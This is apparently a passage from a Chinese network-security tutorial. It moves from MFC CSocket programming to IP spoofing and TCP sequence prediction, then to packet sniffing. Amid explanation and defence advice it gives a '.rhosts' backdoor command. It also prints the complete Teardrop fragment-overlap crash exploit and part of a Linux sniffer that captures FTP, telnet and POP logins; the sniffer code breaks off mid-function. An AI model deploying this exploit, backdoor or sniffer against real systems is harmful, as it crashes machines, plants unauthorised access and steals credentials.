  Visual C++的MFC提供了CSocket类用来实现网络通信。下图给出了CSocket 类的继承关系。


  下面介绍VC++在Windows 95中实现Socket的 CSocket 类相关成员函数(这些成员函数实际上是从CAsyncSocket 类继承来的)的使用。

(1) BOOL Create( UINT nSocketPort = 0, int nSocketType = SOCK_STREAM, long lEvent = FD_READ |FD_WRITE|FD_OOB|FD_ACCEPT|FD_CONNECT| FD_CLOSE,LPCTSTR lpszSocketAddress = NULL )
  该函数用来建立Socket。 其中,nSocketPort 为所选择的Socket 端口,一般要大于 1023, 如果该参数为0, 则由系统选定一端口,默认值为0 ;nSocketType 为套接字类型:SOCK_STREAM 表示为流套接字,SOCK_DGRAM 表示为数据报套接字,默认值为SOCK_STREAM ;lEvent 标识该Socket 要完成哪种工作,默认值为FD_READ|FD_WRITE|FD_OOB| FD_ACCEPT|FD_CONNECT|FD_CLOSE ;lpszSockAddress 为网络地址信息结构指针,包含网络地址, 默认值为NULL 。

(2)BOOL Bind( UINT nSocketPort, LPCTSTR lpszSocketAddress = NULL )
  该函数的作用是将Socket 端口与网络地址连接起来。参数含义同上 。
(3)BOOL Listen( int nConnectionBacklog = 5 )
  该函数的作用是等待Socket请求。其中,nConnec-tionBacklog 表示等待队列的长度,默认值为最大值5 。

(4)virtual BOOL Accept( CAsyncSocket& rConnectedSocket, SOCKADDR* lpSockAddr = NULL, int* lpSockAddrLen = NULL )
  该函数的作用是取得队列上第一个连接请求并建立一个具有与Socket相同特性的套接字。其中,rConnectedSocket 表示一个新的Socket 。

(5)BOOL Connect( LPCTSTR lpszHostAddress, UINT nHostPort )
  该函数的作用是提出请求。其中,lpszHostAddress 和 nHostPort 为接受请求进程的网络地址和Socket 端口号。

(6)virtual void Close( )
  该函数的作用是关闭该Socket 。

  利用CSocket类直接进行数据通信有两种方式:一种是利用CSocketFile 类和Archive 类去实现,另一种是利用CSocket的成员函数 Receive、Send、ReceiveFrom、SendTo、Listen 和 Accept 等来实现(这些成员函数实际上也是从CAsyncSocket 类继承的)。
  两种方法的实现步骤如下 :

  Server : Construct-> Creat-> Bind -> Listen-> Accept-> Send->Close ;

  Cilent : Construct ->Creat-> Connect-> Receive-> Close。

   下面就用VC++的代码分别介绍如何运用上述两种方法来实现Socket 编程。

  1、 利用CSocketFile类和Archive 类实现

  (1)服务器程序流程
  // 创建一个套接字对象
  CSocket sockSrvr;

  //为上述套接字对象创建一个套接字

  sockSrvr.Create(nPort);

  //开始侦听
  sockSrvr.Listen( );

  //创建一个新的套接字对象
  CSocket sockRecv;

  //接受连接
  sockSrvr.Accept( sockRecv );

// 创建文件对象
CSocketFile file(&sockRecv);

  //创建一个archive对象
  CArchive arIn(&file, CArchive::load);

  /*or*/_CArchive arOut(&file, CArchive::store);

  //使用archive对象传输数据
  arIn >> dwvalue;

  /*or*/ arOut < < dwvalue;

  (2)客户端程序流程
  //创建一个套接字对象
  CSocket sockClient;

  //为这个对象创建一个套接字
  sockClient.Create( );

  //寻找一个连接
  sockClient.Connect(strAddr, nPort);

  //创建一个文件对象
  CSocketFile file(&sockClient);

  //创建一个archive对象
  CArchive arIn(&file, CArchive::load);

  /*or*/_CArchive arOut(&file, CArchive::store);

  //使用这个对象传输数据
  arOut < < dwvalue;

  /*or*/ arIn >> dwvalue;

  上述程序中, nPort 是Socket 的端口号,strAddr 是该机器的IP地址(如202.197.1.3 或 FTP://RedAlert.com等),这两个变量在Server和Client中要一致。当Server进程运行至Listen 后便处于睡眠状态直到Client进程执行Connect 时才被唤醒,而后两个进程便开始传输数据了。

  2、利用CSocket的成员函数实现
  (1)服务器流程
  //套接字初始化
  if(!AfxSocketInit()){
   MessageBox("WindowsSocket initial failed!","Send",MB_ICONSTOP);
   Return;
  }

  // 创建两个套接字对象
  CSocket ChatSend,server;

  // 创建一个套接字
  if(!ChatSend.Create(nPort)) // nPort=1025
   MessageBox("SendSocket create failed!", "Send",MB_ICONSTOP);
  else{
   // 把本地地址给套接字
ChatSend.Bind(nProt,strAddr);
  // strAddr="202.196.111.1"
   // 开始侦听
   ChatSend.Listen();

   // 创建一个新的套接字并和他相连
   ChatSend.Accept(Server);
  }
  //发送一个CString 对象
  Server.SendTo(csSendText,csCounts,nPort,strAddr);

  // 关闭这两个套接字
  Server.Close();
  ChatSend.Close();

  (2)客户端程序流程

  // 套接字初始化
  if(!AfxSocketInit()){
   MessageBox("WindowsSocket initial failed!", "Receive",MB_ICONSTOP);
   return;
  }

  // 创建一个套接字对象
  CSocket ChatRecieve;

  // 创建一个套接字
  if(!ChatReceive.Create()){
   MessageBox("ReceiveSocket create failed!","Receive",MB_ICONSTOP);
   return;
  }
  else{
   // 创建一个对等套接字
   ChatReceive.Connect(strAddr,nPort);
  }

  //接受一个CString 对象
  ChatReceive.ReceiveFrom(csReceiveText,csCounts,strAddr,nPort);

  // 关闭套接字
  ChatReceive.Close();

  上述两个进程完成的工作是:由Server 进程发送一字符串,Client 进程接收。 strAddr 和 nPort 的含义与方法1 中的相同 ;csSendText 和 csReceiveText 为发送与接收的字符串;csCounts为字串长度,这一长度在两个进程中要求接收长度小于或等于发送长度,否则会导致数据传输错误。另外,在程序中要加入头文件afxsock.h, CSocket 类的有关说明均在afxsock.h 中。

方法1 适合于对多个不同类型数据的通信,方法2 适合于对字符串的通信,具体选用何种方法则取决于具体应用的需求。

第五章 IP欺骗
  即使是很好的实现了TCP/IP协议,由于它本身有着一些不安全的地方,从而可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗,路由攻击,源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外,还介绍怎样防止这个攻击手段。
  上述攻击是建立在攻击者的计算机(包括路由)是连在INTERNET上的。这里的攻击方法是针对TCP/IP本身的缺陷的,而不是某一具体的实现。
实际上,IP 欺骗不是进攻的结果,而是进攻的手段。进攻实际上是信任关系的破坏。

第一节 IP欺骗原理
信任关系
在Unix 领域中,信任关系能够很容易得到。假如在主机A和B上各有一个帐户,在使用当中会发现,在主机A上使用时需要输入在A上的相应帐户,在主机B上使用时必须输入在B上的帐户,主机A和B把你当作两个互不相关的用户,显然有些不便。为了减少这种不便,可以在主机A和主机B中建立起两个帐户的相互信任关系。在主机A和主机B上你的home目录中创建.rhosts 文件。从主机A上,在你的home目录中输入'echo " B username " > ~/.rhosts' ;从主机B上,在你的home目录中输入'echo " A username " >~/.rhosts' 。至此,你能毫无阻碍地使用任何以r*开头的远程调用命令,如:rlogin,rcall,rsh等,而无口令验证的烦恼。这些命令将允许以地址为基础的验证,或者允许或者拒绝以IP地址为基础的存取服务。
这里的信任关系是基于IP地址的。

Rlogin
  Rlogin 是一个简单的客户/服务器程序,它利用TCP传输。Rlogin 允许用户从一台主机登录到另一台主机上,并且,如果目标主机信任它,Rlogin 将允许在不应答口令的情况下使用目标主机上的资源。安全验证完全是基于源主机的IP 地址。因此,根据以上所举的例子,我们能利用Rlogin 来从B远程登录到A,而且不会被提示输入口令。

TCP 序列号预测
IP只是发送数据包,并且保证它的完整性。如果不能收到完整的IP数据包,IP会向源地址发送一个ICMP 错误信息,希望重新处理。然而这个包也可能丢失。由于IP是非面向连接的,所以不保持任何连接状态的信息。每个IP数据包被松散地发送出去,而不关心前一个和后一个数据包的情况。由此看出,可以对IP堆栈进行修改,在源地址和目的地址中放入任意满足要求的IP地址,也就是说,提供虚假的IP地址。
TCP提供可靠传输。可靠性是由数据包中的多位控制字来提供的,其中最重要的是数据序列和数据确认,分别用SYN和ACK来表示。TCP 向每一个数据字节分配一个序列号,并且可以向已成功接收的、源地址所发送的数据包表示确认(目的地址ACK 所确认的数据包序列是源地址的数据包序列,而不是自己发送的数据包序列)。ACK在确认的同时,还携带了下一个期望获得的数据序列号。显然,TCP提供的这种可靠性相对于IP来说更难于愚弄。
序列编号、确认和其它标志信息
由于TCP是基于可靠性的,它能够提供处理数据包丢失,重复或是顺序紊乱等不良情况的机制。实际上,通过向所传送出的所有字节分配序列编号,并且期待接收端对发送端所发出的数据提供收讫确认,TCP 就能保证可靠的传送。接收端利用序列号确保数据的先后顺序,除去重复的数据包。TCP 序列编号可以看作是32位的计数器。它们从0至232-1 排列。每一个TCP连接(由一定的标示位来表示)交换的数据都是顺序编号的。在TCP数据包中定义序列号(SYN)的标示位位于数据段的前端。确认位(ACK)对所接收的数据进行确认,并且指出下一个期待接收的数据序列号。
TCP通过滑动窗口的概念来进行流量控制。设想在发送端发送数据的速度很快而接收端接收速度却很慢的情况下,为了保证数据不丢失,显然需要进行流量控制,协调好通信双方的工作节奏。所谓滑动窗口,可以理解成接收端所能提供的缓冲区大小。TCP利用一个滑动的窗口来告诉发送端对它所发送的数据能提供多大的缓冲区。由于窗口由16位BIT所定义,所以接收端TCP 能最大提供65535个字节的缓冲。由此,可以利用窗口大小和第一个数据的序列号计算出最大可接收的数据序列号。
其它TCP标示位有RST(连接复位,Reset the connection)、PSH(压入功能,Push function)和FIN (发送者无数据,No more data from sender)。如果RST 被接收,TCP连接将立即断开。RST 通常在接收端接收到一个与当前连接不相关的数据包时被发送。有些时候,TCP模块需要立即传送数据而不能等整段都充满时再传。一个高层的进程将会触发在TCP头部的PSH标示,并且告诉TCP模块立即将所有排列好的数据发给数据接收端。FIN 表示一个应用连接结束。当接收端接收到FIN时,确认它,认为将接收不到任何数据了。
TCP序列号预测最早是由Morris对这一安全漏洞进行阐述的。他使用TCP序列号预测,即使是没有从服务器得到任何响应, 来产生一个TCP包序列。这使得他能欺骗在本地网络上的主机。
  通常TCP连接建立一个包括3次握手的序列。客户选择和传输一个初始的序列号(SEQ标志)ISN C,并设置标志位SYN=1,告诉服务器它需要建立连接。服务器确认这个传输,并发送它本身的序列号ISN S,并设置标志位ACK,同时告知下一个期待获得的数据序列号是ISN=1。客户再确认它。在这三次确认后,开始传输数据。整个过程如下所示:
  C*S:SYN(ISN C ) S*C:SYN(ISN S ) ,ACK(ISN C ) C*S:ACK(ISN S ) C*S:数据 或S*C:数据
也就是说对一个会话,C必须得到ISN S确认。ISN S可能是一个随机数。
了解序数编号如何选择初始序列号和如何根据时间变化是很重要的。似乎应该有这种情况,当主机启动后序列编号初始化为1,但实际上并非如此。初始序列号是由tcp_init函数确定的。ISN每秒增加128000,如果有连接出现,每次连接将把计数器的数值增加64000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32 小时复位一次。之所以这样,是因为这样有利于最大限度地减少旧有连接的信息干扰当前连接的机会。这里运用了2MSL 等待时间的概念(不在本文讨论的范围之内)。如果初始序列号是随意选择的,那么不能保证现有序列号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出了循环,回到了“旧有”的连接(此时其实是不同于前者的现有连接),显然会发生对现有连接的干扰。
假设一个入侵者X有一种方法,能预测ISN S。在这种情况下,他可能将下列序号送给主机T来模拟客户的真正的ISN S:
  X*S:SYN(ISN X ) ,SRC = T S*T:SYN(ISN S ) ,ACK(ISN X ) X*S:ACK(ISN S ) ,SRC =T X*S:ACK(ISN S ) ,SRC = T,无用数据
尽管消息S*T并不到X,但是X能知道它的内容,因此能发送数据。如果X要对一个连接实施攻击,这个连接允许执行命令,那么另外的命令也能执行。
  那么怎样产生随机的ISN?在Berkeley系统,最初的序列号变量由一个常数每秒加一产生,等到这个常数一半时,就开始一次连接。这样,如果开始了一个合法连接,并观察到一个ISN S在用,便可以计算,有很高可信度,ISN S *用在下一个连接企图。
Morris 指出,回复消息
S*T:SYN(ISN S ) ,ACK(ISN X )
事实上并不消失,真正主机将收到它,并试图重新连接。这并不是一个严重的障碍。Morris发现,通过模仿一个在T上的端口,并向那个端口请求一个连接,他就能产生序列溢出,从而让它看上去S*T消息丢失了。另外一个方法,可以等待知道T关机或重新启动。
下面详细的介绍一下。

IP欺骗
IP欺骗由若干步骤组成,这里先简要地描述一下,随后再做详尽地解释。先做以下假定:首先,目标主机已经选定。其次,信任模式已被发现,并找到了一个被目标主机信任的主机。黑客为了进行IP欺骗,进行以下工作:使得被信任的主机丧失工作能力,同时采样目标主机发出的TCP 序列号,猜测出它的数据序列号。然后,伪装成被信任的主机,同时建立起与目标主机基于地址验证的应用连接。如果成功,黑客可以使用一种简单的命令放置一个系统后门,以进行非授权操作。

使被信任主机丧失工作能力
一旦发现被信任的主机,为了伪装成它,往往使其丧失工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正被信任的主机不能接收到任何有效的网络数据,否则将会被揭穿。有许多方法可以做到这些。这里介绍“TCP SYN 淹没”。
前面已经谈到,建立TCP连接的第一步就是客户端向服务器发送SYN请求。 通常,服务器将向客户端发送SYN/ACK 信号。这里客户端是由IP地址确定的。客户端随后向服务器发送ACK,然后数据传输就可以进行了。然而,TCP处理模块有一个处理并行SYN请求的最上限,它可以看作是存放多条连接的队列长度。其中,连接数目包括了那些三步握手法没有最终完成的连接,也包括了那些已成功完成握手,但还没有被应用程序所调用的连接。如果达到队列的最上限,TCP将拒绝所有连接请求,直至处理了部分连接链路。因此,这里是有机可乘的。
黑客往往向被进攻目标的TCP端口发送大量SYN请求,这些请求的源地址是使用一个合法的但是虚假的IP地址(可能使用该合法IP地址的主机没有开机)。而受攻击的主机往往是会向该IP地址发送响应的,但可惜是杳无音信。与此同时IP包会通知受攻击主机的TCP:该主机不可到达,但不幸的是TCP会认为是一种暂时错误,并继续尝试连接(比如继续对该IP地址进行路由,发出SYN/ACK数据包等等),直至确信无法连接。当然,这时已流逝了大量的宝贵时间。值得注意的是,黑客们是不会使用那些正在工作的IP地址的,因为这样一来,真正IP持有者会收到SYN/ACK响应,而随之发送RST给受攻击主机,从而断开连接。前面所描述的过程可以表示为如下模式。
1 Z (X) ---SYN ---> B
    Z (X) ---SYN ---> B
    Z (X) ---SYN ---> B

2 X <---SYN/ACK-- B
X <---SYN/ACK-- B
3 X <--- RST --- B
  在时刻1时,攻击主机把大批SYN 请求发送到受攻击目标(在此阶段,是那个被信任的主机),使其TCP队列充满。在时刻2时,受攻击目标向它所相信的IP地址(虚假的IP)作出SYN/ACK反应。在这一期间,受攻击主机的TCP模块会对所有新的请求予以忽视。不同的TCP 保持连接队列的长度是有所不同的。BSD 一般是5,Linux一般是6。使被信任主机失去处理新连接的能力,所赢得的宝贵空隙时间就是黑客进行攻击目标主机的时间,这使其伪装成被信任主机成为可能。

序列号取样和猜测
  前面已经提到,要对目标主机进行攻击,必须知道目标主机使用的数据包序列号。现在,我们来讨论黑客是如何进行预测的。他们先与被攻击主机的一个端口(SMTP是一个很好的选择)建立起正常的连接。通常,这个过程被重复若干次,并将目标主机最后所发送的ISN存储起来。黑客还需要估计他的主机与被信任主机之间的RTT时间(往返时间),这个RTT时间是通过多次统计平均求出的。RTT 对于估计下一个ISN是非常重要的。前面已经提到每秒钟ISN增加128000,每次连接增加64000。现在就不难估计出ISN的大小了,它是128000乘以RTT的一半,如果此时目标主机刚刚建立过一个连接,那么再加上一个64000。再估计出ISN大小后,立即就开始进行攻击。当黑客的虚假TCP数据包进入目标主机时,根据估计的准确度不同,会发生不同的情况:

•如果估计的序列号是准确的,进入的数据将被放置在接收缓冲器以供使用。

•如果估计的序列号小于期待的数字,那么将被放弃。

•如果估计的序列号大于期待的数字,并且在滑动窗口(前面讲的缓冲)之内,那么,该数据被认为是一个未来的数据,TCP模块将等待其它缺少的数据。如果估计的序列号大于期待的数字,并且不在滑动窗口(前面讲的缓冲)之内,那么,TCP将会放弃该数据并返回一个期望获得的数据序列号。下面将要提到,黑客的主机并不能收到返回的数据序列号。

1 Z(B) ----SYN ---> A
2 B <---SYN/ACK--- A
3 Z(B) -----ACK---> A
4 Z(B) ---——PSH---> A

  攻击者伪装成被信任主机的IP 地址,此时,该主机仍然处在停顿状态(前面讲的丧失处理能力),然后向目标主机的513端口(rlogin的端口号)发送连接请求,如时刻1所示。在时刻2,目标主机对连接请求作出反应,发送SYN/ACK数据包给被信任主机(如果被信任主机处于正常工作状态,那么会认为是错误并立即向目标主机返回RST数据包,但此时它处于停顿状态)。按照计划,被信任主机会抛弃该SYN/ACK数据包。然后在时刻3,攻击者向目标主机发送ACK数据包,该ACK使用前面估计的序列号加1(因为是在确认)。如果攻击者估计正确的话,目标主机将会接收该ACK 。至此,连接正式建立起来了。在时刻4,将开始数据传输。一般地,攻击者将在系统中放置一个后门,以便侵入。经常会使用 ′cat ++ >> ~/.rhosts′。之所以这样是因为,这个办法迅速、简单地为下一次侵入铺平了道路。

  一个和这种TCP序列号攻击相似的方法,是使用NETSTAT服务。在这个攻击中,入侵者模拟一个主机关机了。如果目标主机上有NETSTAT,它能提供在另一端口上的必须的序列号。这取消了所有要猜测的需要。

IP欺骗的防止
防止的要点在于,这种攻击的关键是相对粗糙的初始序列号变量在Berkeley系统中的改变速度。TCP协议需要这个变量每秒要增加25000次。Berkeley 使用的是相对比较慢的速度。但是,最重要的是,是改变间隔,而不是速度。
我们考虑一下一个计数器工作在250000Hz时是否有帮助。我们先忽略其他发生的连接,仅仅考虑这个计数器以固定的频率改变。

  为了知道当前的序列号,发送一个SYN包,收到一个回复:
  X*S: SYN(ISN X ) S*X: SYN(ISN S ) ,ACK(ISN X ) (1)
  第一个欺骗包,它触发下一个序列号,能立即跟随服务器对这个包的反应:
  X*S: SYN(ISN X ) ,SRC = T (2)
  序列号ISN S用于回应了:
  S*T: SYN(ISN S ) ,ACK(ISN X )
  是由第一个消息和服务器接收的消息唯一决定。这个号码是X和S的往返精确的时间。这样,如果欺骗能精确地测量和产生这个时间,即使是一个4-U时钟都不能击退这次攻击。

抛弃基于地址的信任策略
  阻止这类攻击的一种非常容易的办法就是放弃以地址为基础的验证。不允许r*类远程调用命令的使用;删除.rhosts 文件;清空/etc/hosts.equiv 文件。这将迫使所有用户使用其它远程通信手段,如telnet、ssh、skey等等。

进行包过滤
  如果您的网络是通过路由器接入Internet 的,那么可以利用您的路由器来进行包过滤。确信只有您的内部LAN可以使用信任关系,而内部LAN上的主机对于LAN以外的主机要慎重处理。您的路由器可以帮助您过滤掉所有来自于外部而希望与内部建立连接的请求。

使用加密方法
  阻止IP欺骗的另一种明显的方法是在通信时要求加密传输和验证。当有多种手段并存时,可能加密方法最为适用。

使用随机化的初始序列号
  黑客攻击得以成功实现的一个很重要的因素就是,序列号不是随机选择的或者随机增加的。Bellovin 描述了一种弥补TCP不足的方法,就是分割序列号空间。每一个连接将有自己独立的序列号空间。序列号将仍然按照以前的方式增加,但是在这些序列号空间中没有明显的关系。可以通过下列公式来说明:

ISN =M+F(localhost,localport ,remotehost ,remoteport )
M:4微秒定时器
F:加密HASH函数。

F产生的序列号,对于外部来说是不应该能够被计算出或者被猜测出的。Bellovin 建议F是一个结合连接标识符和特殊矢量(随机数,基于启动时间的密码)的HASH函数。
第二节 一个源程序
下面介绍一个叫Teardrop的程序,可以用来产生用来欺骗的IP包。
Teardrop:
/*
* Copyright (c) 1997 route|daemon9 < [email protected]> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
#include < netdb.h>
#include < netinet/in.h>
#include < netinet/udp.h>
#include < arpa/inet.h>
#include < sys/types.h>
#include < sys/time.h>
#include < sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9/n/n");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?/n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:/n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d/n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d/n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d/n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]/n");
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("/nsendto");
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header *
/
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("/nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]/n",
name);
exit(0);
}

第六章 Sniffer
  Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
第一节 Sniffer简介
什么是以太网sniffing?
  以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。
它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。
sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。
sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
  有许多运行与不同平台上的sniffer程序。
Linux tcpdump
DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、      Netzhack
上面的这些程序,可以从互连网上找到。
使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。
通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。
第二节 一个sniffer源程序
下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include < string.h>
#include < ctype.h>
#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("can not set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}

int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "/n----- [CAPLEN Exceeded]/n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "/n----- [Timed Out]/n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
